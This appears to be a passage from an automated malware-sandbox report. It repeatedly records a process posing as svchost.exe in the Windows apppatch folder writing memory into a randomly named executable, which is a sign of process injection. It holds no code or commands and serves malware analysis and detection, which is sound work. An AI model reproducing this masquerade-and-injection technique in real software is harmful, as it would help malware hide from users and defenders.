Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 13A1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 13A2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 13F2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15D0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15D1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1622000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1380000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1381000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1382000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 13D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 620000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 621000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 622000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 672000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1200000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1201000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1202000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1252000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1590000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1591000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1592000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15E2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1440000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1441000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1442000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1492000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FF0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FF1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FF2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1042000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10D0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10D1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1122000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F60000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F61000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F62000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FB2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B90000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B91000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B92000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: BE2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D60000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D61000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D62000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1320000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1321000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1322000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1372000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 600000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 601000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 602000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 652000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E02000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A30000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A31000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A32000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A82000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1000000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1001000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1002000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1052000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F20000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F21000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F22000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F72000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 860000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 861000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 862000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8B2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9D0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9D1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A22000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1222000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 870000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 871000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 872000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8C2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D70000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D71000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D72000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DC2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 810000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 811000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 812000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 862000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8D0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8D1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 922000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AD0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AD1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AD2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B22000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1210000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1211000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1212000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1262000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1170000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1171000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1172000	Jump to behavior
